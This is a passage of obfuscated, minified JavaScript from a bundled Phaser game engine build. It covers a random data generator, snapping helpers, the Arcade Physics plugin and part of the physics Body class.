return _0x51742d[this['integerInRange'](0x0, _0x51742d['length'] - 0x1)]; }, 'sign': function () { return this['pick'](this['signs']); }, 'weightedPick': function (_0x3e99f5) { return _0x3e99f5[~~(Math['pow'](this['frac'](), 0x2) * (_0x3e99f5['length'] - 0.5) + 0.5)]; }, 'timestamp': function (_0x362551, _0x5c6ffc) { return this['realInRange'](_0x362551 || 0xdc6acfac00, _0x5c6ffc || 0x16f5fe76d80); }, 'angle': function () { return this['integerInRange'](-0xb4, 0xb4); }, 'rotation': function () { return this['realInRange'](-3.1415926, 3.1415926); }, 'state': function (_0x147dd0) { return 'string' == typeof _0x147dd0 && _0x147dd0['match'](/^!rnd/) && (_0x147dd0 = _0x147dd0['split'](','), this['c'] = parseFloat(_0x147dd0[0x1]), this['s0'] = parseFloat(_0x147dd0[0x2]), this['s1'] = parseFloat(_0x147dd0[0x3]), this['s2'] = parseFloat(_0x147dd0[0x4])), ['!rnd', this['c'], this['s0'], this['s1'], this['s2']]['join'](','); }, 'shuffle': function (_0x3e4235) { for (var _0x5545cc = _0x3e4235['length'] - 0x1; _0x5545cc > 0x0; _0x5545cc--) { var _0x45c146 = Math['floor'](this['frac']() * (_0x5545cc + 0x1)), _0x3ba73e = _0x3e4235[_0x45c146]; _0x3e4235[_0x45c146] = _0x3e4235[_0x5545cc], _0x3e4235[_0x5545cc] = _0x3ba73e; } return _0x3e4235; } }); _0x4baee8['exports'] = _0xd50714; }, 0xf7d8: _0x3b14fd => { _0x3b14fd['exports'] = function (_0x14427c, _0x2d9b0a, _0x5c91e9, _0x3b8b9f) { return void 0x0 === _0x5c91e9 && (_0x5c91e9 = 0x0), 0x0 === _0x2d9b0a ? _0x14427c : (_0x14427c -= _0x5c91e9, _0x14427c = _0x2d9b0a * Math['ceil'](_0x14427c / _0x2d9b0a), _0x3b8b9f ? (_0x5c91e9 + _0x14427c) / _0x2d9b0a : _0x5c91e9 + _0x14427c); }; }, 0xdd07: _0xef4468 => { _0xef4468['exports'] = function (_0x3f11d7, _0x4d32ae, _0x7c5a34, _0x30e70a) { return void 0x0 === _0x7c5a34 && (_0x7c5a34 = 0x0), 0x0 === _0x4d32ae ? _0x3f11d7 : (_0x3f11d7 -= _0x7c5a34, _0x3f11d7 = _0x4d32ae * Math['floor'](_0x3f11d7 / _0x4d32ae), _0x30e70a ? (_0x7c5a34 + _0x3f11d7) / _0x4d32ae : _0x7c5a34 + _0x3f11d7); }; }, 0x12f98: _0x420387 => { _0x420387['exports'] = function (_0x2e03c4, _0x3126f3, _0x4f0757, _0x2e1e97) { return void 0x0 === _0x4f0757 && (_0x4f0757 = 0x0), 0x0 === _0x3126f3 ? _0x2e03c4 : (_0x2e03c4 -= _0x4f0757, _0x2e03c4 = _0x3126f3 * Math['round'](_0x2e03c4 / _0x3126f3), _0x2e1e97 ? (_0x4f0757 + _0x2e03c4) / _0x3126f3 : _0x4f0757 + _0x2e03c4); }; }, 0x11fe1: (_0x24bfac, _0x549e24, _0x33b534) => { _0x24bfac['exports'] = { 'Ceil': _0x33b534(0xf7d8), 'Floor': _0x33b534(0xdd07), 'To': _0x33b534(0x12f98) }; }, 0x14dce: (_0x461650, _0x5d0cec, _0x53f67e) => { _0x53f67e(0xf86b); var _0x4304d3 = _0x53f67e(0x1f76), _0x4abbcc = _0x53f67e(0x135bb), _0x1cd627 = { 'Actions': _0x53f67e(0xee85), 'Animations': _0x53f67e(0xec05), 'BlendModes': _0x53f67e(0x2848), 'Cache': _0x53f67e(0x145bc), 'Cameras': _0x53f67e(0x680e), 'Core': _0x53f67e(0xa769), 'Class': _0x53f67e(0x145db), 'Create': _0x53f67e(0x3dce), 'Curves': _0x53f67e(0x6342), 'Data': _0x53f67e(0xafa5), 'Display': _0x53f67e(0x6b44), 'DOM': _0x53f67e(0x14ba6), 'Events': _0x53f67e(0x16b7f), 'FX': _0x53f67e(0x10210), 'Game': _0x53f67e(0xc3cf), 'GameObjects': _0x53f67e(0x13020), 'Geom': _0x53f67e(0xd9ba), 'Input': _0x53f67e(0x380e), 'Loader': _0x53f67e(0xe1b1), 'Math': _0x53f67e(0x126f4), 'Physics': _0x53f67e(0xae13), 'Plugins': _0x53f67e(0x49ea), 'Renderer': _0x53f67e(0x902d), 'Scale': _0x53f67e(0x16cb4), 'ScaleModes': _0x53f67e(0x7463), 'Scene': _0x53f67e(0x17cca), 'Scenes': _0x53f67e(0xf2f2), 'Structs': _0x53f67e(0xa1b0), 'Textures': _0x53f67e(0x6b42), 'Tilemaps': _0x53f67e(0xf425), 'Time': _0x53f67e(0x160b3), 'Tweens': _0x53f67e(0xa83a), 'Utils': _0x53f67e(0x16697) }; _0x1cd627['Sound'] = _0x53f67e(0x5ca5), _0x1cd627 = _0x4abbcc(!0x1, _0x1cd627, _0x4304d3), _0x461650['exports'] = _0x1cd627, _0x53f67e['g']['Phaser'] = _0x1cd627; }, 0x11679: (_0x3664ec, _0x270089, _0x5d41df) => { var _0x1cc0a2 = _0x5d41df(0x145db), _0x5bdca7 = _0x5d41df(0x16831), _0x53f389 = _0x5d41df(0x159fb), _0x216b04 = new _0x1cc0a2({ 'Extends': _0x53f389, 'Mixins': [_0x5bdca7['Acceleration'], _0x5bdca7['Angular'], _0x5bdca7['Bounce'], _0x5bdca7['Collision'], _0x5bdca7['Debug'], _0x5bdca7['Drag'], _0x5bdca7['Enable'], _0x5bdca7['Friction'], _0x5bdca7['Gravity'], _0x5bdca7['Immovable'], _0x5bdca7['Mass'], _0x5bdca7['Pushable'], _0x5bdca7['Size'], _0x5bdca7['Velocity']], 'initialize': function (_0x4ade3f, _0x51cab2, _0x407578, _0x5136dd, _0x873ea7) { _0x53f389['call'](this, _0x4ade3f, _0x51cab2, _0x407578, _0x5136dd, _0x873ea7), this['body'] = null; } }); _0x3664ec['exports'] = _0x216b04; }, 0x152a1: (_0x431dc0, _0x3c327c, _0x2a6471) => { var _0x4882ad = _0x2a6471(0x145db), _0x1633e4 = _0x2a6471(0x9a52), _0x200269 = _0x2a6471(0x4f73), _0x3c4049 = _0x2a6471(0x15eae), _0x1fd71b = _0x2a6471(0x101e6), _0x3b6a1b = _0x2a6471(0x17534), _0x333e20 = _0x2a6471(0xb77f), _0x7bbe12 = _0x2a6471(0x11af9), _0x38b6d8 = _0x2a6471(0xbb54), _0x2d510d = _0x2a6471(0x919d), _0x393e46 = _0x2a6471(0xae32), _0x54456d = _0x2a6471(0x65f3), _0x439910 = _0x2a6471(0x14148), _0x3d2ea6 = new _0x4882ad({ 'initialize': function (_0x102fae) { this['scene'] = _0x102fae, this['systems'] = _0x102fae['sys'], this['config'] = this['getConfig'](), this['world'], this['add'], this['_category'] = 0x1, _0x102fae['sys']['events']['once'](_0x393e46['BOOT'], this['boot'], this), _0x102fae['sys']['events']['on'](_0x393e46['START'], this['start'], this); }, 'boot': function () { this['world'] = new _0x439910(this['scene'], this['config']), this['add'] = new _0x1fd71b(this['world']), this['systems']['events']['once'](_0x393e46['DESTROY'], this['destroy'], this); }, 'start': function () { this['world'] || (this['world'] = new _0x439910(this['scene'], this['config']), this['add'] = new _0x1fd71b(this['world'])); var _0x5ef07a = this['systems']['events']; _0x3b6a1b(this['config'], 'customUpdate', !0x1) || _0x5ef07a['on'](_0x393e46['UPDATE'], this['world']['update'], this['world']), _0x5ef07a['on'](_0x393e46['POST_UPDATE'], this['world']['postUpdate'], this['world']), _0x5ef07a['once'](_0x393e46['SHUTDOWN'], this['shutdown'], this); }, 'enableUpdate': function () { this['systems']['events']['on'](_0x393e46['UPDATE'], this['world']['update'], this['world']); }, 'disableUpdate': function () { this['systems']['events']['off'](_0x393e46['UPDATE'], this['world']['update'], this['world']); }, 'getConfig': function () { var _0x2a328b = this['systems']['game']['config']['physics'], _0x4a1e40 = this['systems']['settings']['physics']; return _0x333e20(_0x3b6a1b(_0x4a1e40, 'arcade', {}), _0x3b6a1b(_0x2a328b, 'arcade', {})); }, 'nextCategory': function () { return this['_category'] = this['_category'] << 0x1, this['_category']; }, 'overlap': function (_0x50fcac, _0x658ef4, _0x5b849f, _0xad2d4, _0x3cd11b) { return void 0x0 === _0x5b849f && (_0x5b849f = null), void 0x0 === _0xad2d4 && (_0xad2d4 = null), void 0x0 === _0x3cd11b && (_0x3cd11b = _0x5b849f), this['world']['collideObjects'](_0x50fcac, _0x658ef4, _0x5b849f, _0xad2d4, _0x3cd11b, !0x0); }, 'collide': function (_0x40b799, _0x4d8a84, _0x2ec368, _0x45a5ab, _0x4131d1) { return void 0x0 === _0x2ec368 && (_0x2ec368 = null), void 0x0 === _0x45a5ab && (_0x45a5ab = null), void 0x0 === _0x4131d1 && (_0x4131d1 = _0x2ec368), this['world']['collideObjects'](_0x40b799, _0x4d8a84, _0x2ec368, _0x45a5ab, _0x4131d1, !0x1); }, 'collideTiles': function (_0x45785a, _0x579eaa, _0x38b9d3, _0x4d2ad9, _0x1c8451) { return this['world']['collideTiles'](_0x45785a, _0x579eaa, _0x38b9d3, _0x4d2ad9, _0x1c8451); }, 'overlapTiles': function (_0x31331f, _0x29b22b, _0x39278e, _0x624422, _0x3e170b) { return this['world']['overlapTiles'](_0x31331f, _0x29b22b, _0x39278e, _0x624422, _0x3e170b); }, 'pause': function () { return this['world']['pause'](); }, 'resume': function () { return this['world']['resume'](); }, 'accelerateTo': function (_0xc539c1, _0x5ac775, _0x5daf59, _0x588cca, _0x2dedf1, _0x3b7aeb) { void 0x0 === _0x588cca && (_0x588cca = 0x3c); var _0xbe6b35 = Math['atan2'](_0x5daf59 - _0xc539c1['y'], _0x5ac775 - _0xc539c1['x']); return _0xc539c1['body']['acceleration']['setToPolar'](_0xbe6b35, _0x588cca), void 0x0 !== _0x2dedf1 && void 0x0 !== _0x3b7aeb && _0xc539c1['body']['maxVelocity']['set'](_0x2dedf1, _0x3b7aeb), _0xbe6b35; }, 'accelerateToObject': function (_0x3cd23c, _0x3cc693, _0x1ee512, _0x211339, _0x562b05) { return this['accelerateTo'](_0x3cd23c, _0x3cc693['x'], _0x3cc693['y'], _0x1ee512, _0x211339, _0x562b05); }, 'closest': function (_0x186a71, _0x2421e5) { _0x2421e5 || (_0x2421e5 = this['world']['bodies']['entries']); for (var _0x3e50f6 = Number['MAX_VALUE'], _0x4736f3 = null, _0x58cc14 = _0x186a71['x'], _0x66f5bf = _0x186a71['y'], _0x1e42d8 = _0x2421e5['length'], _0x3ab80c = 0x0; _0x3ab80c < _0x1e42d8; _0x3ab80c++) { var _0x4eaf0a = _0x2421e5[_0x3ab80c], _0x12d3ec = _0x4eaf0a['body'] || _0x4eaf0a; if (_0x186a71 !== _0x4eaf0a && _0x186a71 !== _0x12d3ec && _0x186a71 !== _0x12d3ec['gameObject'] && _0x186a71 !== _0x12d3ec['center']) { var _0x270176 = _0x3c4049(_0x58cc14, _0x66f5bf, _0x12d3ec['center']['x'], _0x12d3ec['center']['y']); _0x270176 < _0x3e50f6 && (_0x4736f3 = _0x4eaf0a, _0x3e50f6 = _0x270176); } } return _0x4736f3; }, 'furthest': function (_0x50d1ca, _0x55d62a) { _0x55d62a || (_0x55d62a = this['world']['bodies']['entries']); for (var _0xdeeca0 = -0x1, _0x5435d5 = null, _0x51cb94 = _0x50d1ca['x'], _0x1cbb3d = _0x50d1ca['y'], _0x18e4f0 = _0x55d62a['length'], _0x23a007 = 0x0; _0x23a007 < _0x18e4f0; _0x23a007++) { var _0x334dc2 = _0x55d62a[_0x23a007], _0x363862 = _0x334dc2['body'] || _0x334dc2; if (_0x50d1ca !== _0x334dc2 && _0x50d1ca !== _0x363862 && _0x50d1ca !== _0x363862['gameObject'] && _0x50d1ca !== _0x363862['center']) { var _0x1d2efd = _0x3c4049(_0x51cb94, _0x1cbb3d, _0x363862['center']['x'], _0x363862['center']['y']); _0x1d2efd > _0xdeeca0 && (_0x5435d5 = _0x334dc2, _0xdeeca0 = _0x1d2efd); } } return _0x5435d5; }, 'moveTo': function (_0x326a25, _0x763397, _0x502988, _0x1f08de, _0xf7fe7d) { void 0x0 === _0x1f08de && (_0x1f08de = 0x3c), void 0x0 === _0xf7fe7d && (_0xf7fe7d = 0x0); var _0xe40a2 = Math['atan2'](_0x502988 - _0x326a25['y'], _0x763397 - _0x326a25['x']); return _0xf7fe7d > 0x0 && (_0x1f08de = _0x200269(_0x326a25['x'], _0x326a25['y'], _0x763397, _0x502988) / (_0xf7fe7d / 0x3e8)), _0x326a25['body']['velocity']['setToPolar'](_0xe40a2, _0x1f08de), _0xe40a2; }, 'moveToObject': function (_0x8d7ff5, _0x3379cf, _0x207240, _0x14d003) { return this['moveTo'](_0x8d7ff5, _0x3379cf['x'], _0x3379cf['y'], _0x207240, _0x14d003); }, 'velocityFromAngle': function (_0x1868e2, _0x2a0498, _0x28cde1) { return void 0x0 === _0x2a0498 && (_0x2a0498 = 0x3c), void 0x0 === _0x28cde1 && (_0x28cde1 = new _0x54456d()), _0x28cde1['setToPolar'](_0x1633e4(_0x1868e2), _0x2a0498); }, 'velocityFromRotation': function (_0x454d09, _0x5356db, _0x2a233c) { return void 0x0 === _0x5356db && (_0x5356db = 0x3c), void 0x0 === _0x2a233c && (_0x2a233c = new _0x54456d()), _0x2a233c['setToPolar'](_0x454d09, _0x5356db); }, 'overlapRect': function (_0x47258f, _0x211486, _0x12a82e, _0x918b2d, _0x380aa9, _0x4a99ee) { return _0x38b6d8(this['world'], _0x47258f, _0x211486, _0x12a82e, _0x918b2d, _0x380aa9, _0x4a99ee); }, 'overlapCirc': function (_0x185c65, _0xabd408, _0x2e3a1f, _0x1bcbe2, _0x21d381) { return _0x7bbe12(this['world'], _0x185c65, _0xabd408, _0x2e3a1f, _0x1bcbe2, _0x21d381); }, 'shutdown': function () { if (this['world']) { var _0x28c3a9 = this['systems']['events']; _0x28c3a9['off'](_0x393e46['UPDATE'], this['world']['update'], this['world']), _0x28c3a9['off'](_0x393e46['POST_UPDATE'], this['world']['postUpdate'], this['world']), _0x28c3a9['off'](_0x393e46['SHUTDOWN'], this['shutdown'], this), this['add']['destroy'](), this['world']['destroy'](), this['add'] = null, this['world'] = null, this['_category'] = 0x1; } }, 'destroy': function () { this['shutdown'](), this['scene']['sys']['events']['off'](_0x393e46['START'], this['start'], this), this['scene'] = null, this['systems'] = null; } }); _0x2d510d['register']('ArcadePhysics', _0x3d2ea6, 'arcadePhysics'), _0x431dc0['exports'] = _0x3d2ea6; }, 0x35bf: (_0x128248, _0x1722de, _0x20b397) => { var _0x1c303f = _0x20b397(0x145db), _0x5b14e9 = _0x20b397(0x16831), _0x5f8db0 = _0x20b397(0x10abf), _0x240e2a = new _0x1c303f({ 'Extends': _0x5f8db0, 'Mixins': [_0x5b14e9['Acceleration'], _0x5b14e9['Angular'], _0x5b14e9['Bounce'], _0x5b14e9['Collision'], _0x5b14e9['Debug'], _0x5b14e9['Drag'], _0x5b14e9['Enable'], _0x5b14e9['Friction'], _0x5b14e9['Gravity'], _0x5b14e9['Immovable'], _0x5b14e9['Mass'], _0x5b14e9['Pushable'], _0x5b14e9['Size'], _0x5b14e9['Velocity']], 'initialize': function (_0x4a14d5, _0x14739b, _0x5bde06, _0x4b98b7, _0x37bd32) { _0x5f8db0['call'](this, _0x4a14d5, _0x14739b, _0x5bde06, _0x4b98b7, _0x37bd32), this['body'] = null; } }); _0x128248['exports'] = _0x240e2a; }, 0x936e: (_0x44a63d, _0xd3b484, _0x18d465) => { var _0xd5fec3 = _0x18d465(0x145db), _0x1f2645 = _0x18d465(0x13235), _0x3358f4 = _0x18d465(0x9373), _0xf551d7 = _0x18d465(0xf624), _0xad3483 = _0x18d465(0xa984), _0x3b52f7 = _0x18d465(0x15721), _0x46c595 = _0x18d465(0x91b7), _0x1b72e1 = _0x18d465(0x17655), _0x4da04c = _0x18d465(0x65f3), _0x2d565b = new _0xd5fec3({ 'Mixins': [_0x1f2645], 'initialize': function (_0x34b8cf, _0x1971ac) { var _0x16c23e = 0x40, _0x49f7c6 = 0x40, _0x3444c4 = void 0x0 !== _0x1971ac; _0x3444c4 && _0x1971ac['displayWidth'] && (_0x16c23e = _0x1971ac['displayWidth'], _0x49f7c6 = _0x1971ac['displayHeight']), _0x3444c4 || (_0x1971ac = { 'x': 0x0, 'y': 0x0, 'angle': 0x0, 'rotation': 0x0, 'scaleX': 0x1, 'scaleY': 0x1, 'displayOriginX': 0x0, 'displayOriginY': 0x0 }), this['world'] = _0x34b8cf, this['gameObject'] = _0x3444c4 ? _0x1971ac : void 0x0, this['isBody'] = !0x0, this['transform'] = { 'x': _0x1971ac['x'], 'y': _0x1971ac['y'], 'rotation': _0x1971ac['angle'], 'scaleX': _0x1971ac['scaleX'], 'scaleY': _0x1971ac['scaleY'], 'displayOriginX': _0x1971ac['displayOriginX'], 'displayOriginY': _0x1971ac['displayOriginY'] }, this['debugShowBody'] = _0x34b8cf['defaults']['debugShowBody'], this['debugShowVelocity'] = _0x34b8cf['defaults']['debugShowVelocity'], this['debugBodyColor'] = _0x34b8cf['defaults']['bodyDebugColor'], this['enable'] = !0x0, this['isCircle'] = !0x1, this['radius'] = 0x0, this['offset'] = new _0x4da04c(), this['position'] = new _0x4da04c(_0x1971ac['x'] - _0x1971ac['scaleX'] * _0x1971ac['displayOriginX'], _0x1971ac['y'] - _0x1971ac['scaleY'] * _0x1971ac['displayOriginY']), this['prev'] = this['position']['clone'](), this['prevFrame'] = this['position']['clone'](), this['allowRotation'] = !0x0, this['rotation'] = _0x1971ac['angle'], this['preRotation'] = _0x1971ac['angle'], this['width'] = _0x16c23e, this['height'] = _0x49f7c6, this['sourceWidth'] = _0x16c23e, this['sourceHeight'] = _0x49f7c6, _0x1971ac['frame'] && (this['sourceWidth'] = _0x1971ac['frame']['realWidth'], this['sourceHeight'] = _0x1971ac['frame']['realHeight']), this['halfWidth'] = Math['abs'](_0x16c23e / 0x2), this['halfHeight'] = Math['abs'](_0x49f7c6 / 0x2), this['center'] = new _0x4da04c(this['position']['x'] + this['halfWidth'], this['position']['y'] + this['halfHeight']), this['velocity'] = new _0x4da04c(), this['newVelocity'] = new _0x4da04c(), this['deltaMax'] = new _0x4da04c(), this['acceleration'] = new _0x4da04c(), this['allowDrag'] = !0x0, this['drag'] = new _0x4da04c(), this['allowGravity'] = !0x0, this['gravity'] = new _0x4da04c(), this['bounce'] = new _0x4da04c(), this['worldBounce'] = null, this['customBoundsRectangle'] = _0x34b8cf['bounds'], this['onWorldBounds'] = !0x1, this['onCollide'] = !0x1, this['onOverlap'] = !0x1, this['maxVelocity'] = new _0x4da04c(0x2710, 0x2710), this['maxSpeed'] = -0x1, this['friction'] = new _0x4da04c(0x1, 0x0), this['useDamping'] = !0x1, this['angularVelocity'] = 0x0, this['angularAcceleration'] = 0x0, this['angularDrag'] = 0x0, this['maxAngular'] = 0x3e8, this['mass'] = 0x1, this['angle'] = 0x0, this['speed'] = 0x0, this['facing'] = _0x3358f4['FACING_NONE'], this['immovable'] = !0x1, this['pushable'] = !0x0, this['slideFactor'] = new _0x4da04c(0x1, 0x1), this['moves'] = !0x0, this['customSeparateX'] = !0x1, this['customSeparateY'] = !0x1, this['overlapX'] = 0x0, this['overlapY'] = 0x0, this['overlapR'] = 0x0, this['embedded'] = !0x1, this['collideWorldBounds'] = !0x1, this['checkCollision'] = _0x1b72e1(!0x1), this['touching'] = _0x1b72e1(!0x0), this['wasTouching'] = _0x1b72e1(!0x0), this['blocked'] = _0x1b72e1(!0x0), this['syncBounds'] = !0x1, this['physicsType'] = _0x3358f4['DYNAMIC_BODY'], this['collisionCategory'] = 0x1, this['collisionMask'] = 0x1, this['_sx'] = _0x1971ac['scaleX'], this['_sy'] = _0x1971ac['scaleY'], this['_dx'] = 0x0, this['_dy'] = 0x0, this['_tx'] = 0x0, this['_ty'] = 0x0, this['_bounds'] = new _0x3b52f7(), this['directControl'] = !0x1, this['autoFrame'] = this['position']['clone'](); }, 'updateBounds': function () { var _0x13bd90 = this['gameObject'], _0x41227a = this['transform']; if (_0x13bd90['parentContainer']) { var _0xc7fb63 = _0x13bd90['getWorldTransformMatrix'](this['world']['_tempMatrix'], this['world']['_tempMatrix2']); _0x41227a['x'] = _0xc7fb63['tx'], _0x41227a['y'] = _0xc7fb63['ty'], _0x41227a['rotation'] = _0xad3483(_0xc7fb63['rotation']), _0x41227a['scaleX'] = _0xc7fb63['scaleX'], _0x41227a['scaleY'] = _0xc7fb63['scaleY'], _0x41227a['displayOriginX'] = _0x13bd90['displayOriginX'], _0x41227a['displayOriginY'] = _0x13bd90['displayOriginY']; } else _0x41227a['x'] = _0x13bd90['x'], _0x41227a['y'] = _0x13bd90['y'], _0x41227a['rotation'] = _0x13bd90['angle'], _0x41227a['scaleX'] = _0x13bd90['scaleX'], _0x41227a['scaleY'] = _0x13bd90['scaleY'], _0x41227a['displayOriginX'] = _0x13bd90['displayOriginX'], _0x41227a['displayOriginY'] = _0x13bd90['displayOriginY']; var _0x25b8e5 = !0x1; if (this['syncBounds']) { var _0x530112 = _0x13bd90['getBounds'](this['_bounds']); this['width'] = _0x530112['width'], this['height'] = _0x530112['height'], _0x25b8e5 = !0x0; } else { var _0x38ab25 = Math['abs'](_0x41227a['scaleX']), _0x12bb0e = Math['abs'](_0x41227a['scaleY']); this['_sx'] === _0x38ab25 && this['_sy'] === _0x12bb0e || (this['width'] = this['sourceWidth'] * _0x38ab25, this['height'] = this['sourceHeight'] * _0x12bb0e, this['_sx'] = _0x38ab25, this['_sy'] = _0x12bb0e, _0x25b8e5 = !0x0); } _0x25b8e5 && (this['halfWidth'] = Math['floor'](this['width'] / 0x2), this['halfHeight'] = Math['floor'](this['height'] / 0x2), this['updateCenter']()); }, 'updateCenter': function () { this['center']['set'](this['position']['x'] + this['halfWidth'], this['position']['y'] + this['halfHeight']); }, 'updateFromGameObject': function () { this['updateBounds'](); var _0x24b2d3 = this['transform']; this['position']['x'] = _0x24b2d3['x'] + _0x24b2d3['scaleX'] * (this['offset']['x'] - _0x24b2d3['displayOriginX']), this['position']['y'] = _0x24b2d3['y'] + _0x24b2d3['scaleY'] * (this['offset']['y'] - _0x24b2d3['displayOriginY']), this['updateCenter'](); }, 'resetFlags': function (_0x3c08ce) { void 0x0 === _0x3c08ce && (_0x3c08ce = !0x1); var _0x42d16a = this['wasTouching'], _0x517c9a = this['touching'], _0x42d696 = this['blocked']; _0x3c08ce ? _0x1b72e1(!0x0, _0x42d16a) : (_0x42d16a['none'] = _0x517c9a['none'], _0x42d16a['up'] = _0x517c9a['up'], _0x42d16a['down'] = _0x517c9a['down'], _0x42d16a['left'] = _0x517c9a['left'], _0x42d16a['right'] = _0x517c9a['right']), _0x1b72e1(!0x0, _0x517c9a), _0x1b72e1(!0x0, _0x42d696), this['overlapR'] = 0x0, this['overlapX'] = 0x0, this['overlapY'] = 0x0, this['embedded'] = !0x1; }, 'preUpdate': function (_0x371b91, _0x6f5699) { if (_0x371b91 && this['resetFlags'](), this['gameObject'] && this['updateFromGameObject'](), this['rotation'] = this['transform']['rotation'], this['preRotation'] = this['rotation'], this['moves']) { var _0x25ae0b = this['position']; this['prev']['x'] = _0x25ae0b['x'], this['prev']['y'] = _0x25ae0b['y'], this['prevFrame']['x'] = _0x25ae0b['x'], this['prevFrame']['y'] = _0x25ae0b['y']; } _0x371b91 && this['update'](_0x6f5699); }, 'update': function (_0x3a7884) { var _0x401a1e = this['prev'], _0x359521 = this['position'], _0x5361f7 = this['velocity']; if (_0x401a1e['set'](_0x359521['x'], _0x359521['y']), !this['moves']) return this['_dx'] = _0x359521['x'] - _0x401a1e['x'], void (this['_dy'] = _0x359521['y'] - _0x401a1e['y']); if (this['directControl']) { var _0x55df09 = this['autoFrame']; _0x5361f7['set']((_0x359521['x'] - _0x55df09['x']) / _0x3a7884, (_0x359521['y'] - _0x55df09['y']) / _0x3a7884), this['world']['updateMotion'](this, _0x3a7884), this['_dx'] = _0x359521['x'] - _0x55df09['x'], this['_dy'] = _0x359521['y'] - _0x55df09['y']; } else this['world']['updateMotion'](this, _0x3a7884), this['newVelocity']['set'](_0x5361f7['x'] * _0x3a7884, _0x5361f7['y'] * _0x3a7884), _0x359521['add'](this['newVelocity']), this['_dx'] = _0x359521['x'] - _0x401a1e['x'], this['_dy'] = _0x359521['y'] - _0x401a1e['y']; var _0x568c85 = _0x5361f7['x'], _0x1b0139 = _0x5361f7['y']; if (this['updateCenter'](), this['angle'] = Math['atan2'](_0x1b0139, _0x568c85), this['speed'] = Math['sqrt'](_0x568c85 * _0x568c85 + _0x1b0139 * _0x1b0139), this['collideWorldBounds'] && this['checkWorldBounds']() && this['onWorldBounds']) { var _0x9880cc = this['blocked']; this['world']['emit'](_0xf551d7['WORLD_BOUNDS'], this, _0x9880cc['up'], _0x9880cc['down'], _0x9880cc['left'], _0x9880cc['right']); } }, 'postUpdate': function () { var _0x5d3e4d = this['position'], _0x2f2285 = _0x5d3e4d['x'] - this['prevFrame']['x'], _0x5c1cc3 = _0x5d3e4d['y'] - this['prevFrame']['y'], _0x544f08 = this['gameObject']; if (this['moves']) { var _0x218d4f = this['deltaMax']['x'], _0x48b7e2 = this['deltaMax']['y']; 0x0 !== _0x218d4f && 0x0 !== _0x2f2285 && (_0x2f2285 < 0x0 && _0x2f2285 < -_0x218d4f ? _0x2f2285 = -_0x218d4f : _0x2f2285 > 0x0 && _0x2f2285 > _0x218d4f && (_0x2f2285 = _0x218d4f)), 0x0 !== _0x48b7e2 && 0x0 !== _0x5c1cc3 && (_0x5c1cc3 < 0x0 && _0x5c1cc3 < -_0x48b7e2 ? _0x5c1cc3 = -_0x48b7e2 : _0x5c1cc3 > 0x0 && _0x5c1cc3 > _0x48b7e2 && (_0x5c1cc3 = _0x48b7e2)), _0x544f08 && (_0x544f08['x'] += _0x2f2285, _0x544f08['y'] += _0x5c1cc3); } _0x2f2285 < 0x0 ? this['facing'] = _0x3358f4['FACING_LEFT'] : _0x2f2285 > 0x0 && (this['facing'] = _0x3358f4['FACING_RIGHT']), _0x5c1cc3 < 0x0 ? this['facing'] = _0x3358f4['FACING_UP'] : _0x5c1cc3 > 0x0 && (this['facing'] = _0x3358f4['FACING_DOWN']), this['allowRotation'] && _0x544f08 && (_0x544f08['angle'] += this['deltaZ']()), this['_tx'] = _0x2f2285, this['_ty'] = _0x5c1cc3, this['autoFrame']['set'](_0x5d3e4d['x'], _0x5d3e4d['y']); }, 'setBoundsRectangle': function (_0x4954c4) { return this['customBoundsRectangle'] = _0x4954c4 || this['world']['bounds'], this; }, 'checkWorldBounds': function () { var _0x12055d = this['position'], _0x71a0ba = this['velocity'], _0x42c789 = this['blocked'], _0x1b99b4 = this['customBoundsRectangle'], _0x2d02ff = this['world']['checkCollision'], _0x1a313f = this['worldBounce'] ? -this['worldBounce']['x'] : -this['bounce']['x'], _0x374bb7 = this['worldBounce'] ? -this['worldBounce']['y'] : -this['bounce']['y'], _0x117e0a = !0x1; return _0x12055d['x'] < _0x1b99b4['x'] && _0x2d02ff['left'] ? (_0x12055d['x'] = _0x1b99b4['x'], _0x71a0ba['x'] *= _0x1a313f, _0x42c789['left'] = !0x0, _0x117e0a = !0x0) : this['right'] > _0x1b99b4['right'] && _0x2d02ff['right'] && (_0x12055d['x'] = _0x1b99b4['right'] - this['width'], _0x71a0ba['x'] *= _0x1a313f, _0x42c789['right'] = !0x0, _0x117e0a = !0x0), _0x12055d['y'] < _0x1b99b4['y'] && _0x2d02ff['up'] ? (_0x12055d['y'] = _0x1b99b4['y'], _0x71a0ba['y'] *= _0x374bb7, _0x42c789['up'] = !0x0, _0x117e0a = !0x0) : this['bottom'] > _0x1b99b4['bottom'] && _0x2d02ff['down'] && (_0x12055d['y'] = _0x1b99b4['bottom'] - this['height'], _0x71a0ba['y'] *= _0x374bb7, _0x42c789['down'] = !0x0, _0x117e0a = !0x0), _0x117e0a && (this['blocked']['none'] = !0x1, this['updateCenter']()), _0x117e0a; }, 'setOffset': function (_0x278a4f, _0x96bd98) { return void 0x0 === _0x96bd98 && (_0x96bd98 = _0x278a4f), this['offset']['set'](_0x278a4f, _0x96bd98), this; }, 'setGameObject': function (_0x13d52e, _0x5aabfc) { return void 0x0 === _0x5aabfc && (_0x5aabfc = !0x0), this['world']['remove'](this), this['gameObject'] && this['gameObject']['body'] && (this['gameObject']['body'] = null), this['gameObject'] = _0x13d52e, _0x13d52e['body'] && (_0x13d52e['body'] = this), this['setSize'](), this['world']['add'](this), this['enable'] = _0x5aabfc, this; }, 'setSize': function (_0x321a9b, _0x499c84, _0x3201f9) { void 0x0 === _0x3201f9 && (_0x3201f9 = !0x0); var _0x36f936 = this['gameObject']; if (_0x36f936 && (!_0x321a9b && _0x36f936['frame'] && (_0x321a9b = _0x36f936['frame']['realWidth']), !_0x499c84 && _0x36f936['frame'] && (_0x499c84 = _0x36f936['frame']['realHeight'])), this['sourceWidth'] = _0x321a9b, this['sourceHeight'] = _0x499c84, this['width'] = this['sourceWidth'] * this['_sx'], this['height'] = this['sourceHeight'] * this['_sy'], this['halfWidth'] = Math['floor'](this['width'] / 0x2), this['halfHeight'] = Math['floor'](this['height'] / 0x2), this['updateCenter'](), _0x3201f9 && _0x36f936 && _0x36f936['getCenter']) { var _0x4d738d = (_0x36f936['width'] - _0x321a9b) / 0x2, _0x7569d7 = (_0x36f936['height'] - _0x499c84) / 0x2; this['offset']['set'](_0x4d738d, _0x7569d7); } return this['isCircle'] = !0x1, this['radius'] = 0x0, this; }, 'setCircle': function (_0x4bf207, _0x5d7793, _0x1e06f4) { return void 0x0 === _0x5d7793 && (_0x5d7793 = this['offset']['x']), void 0x0 === _0x1e06f4 && (_0x1e06f4 = this['offset']['y']), _0x4bf207 > 0x0 ? (this['isCircle'] = !0x0, this['radius'] = _0x4bf207, 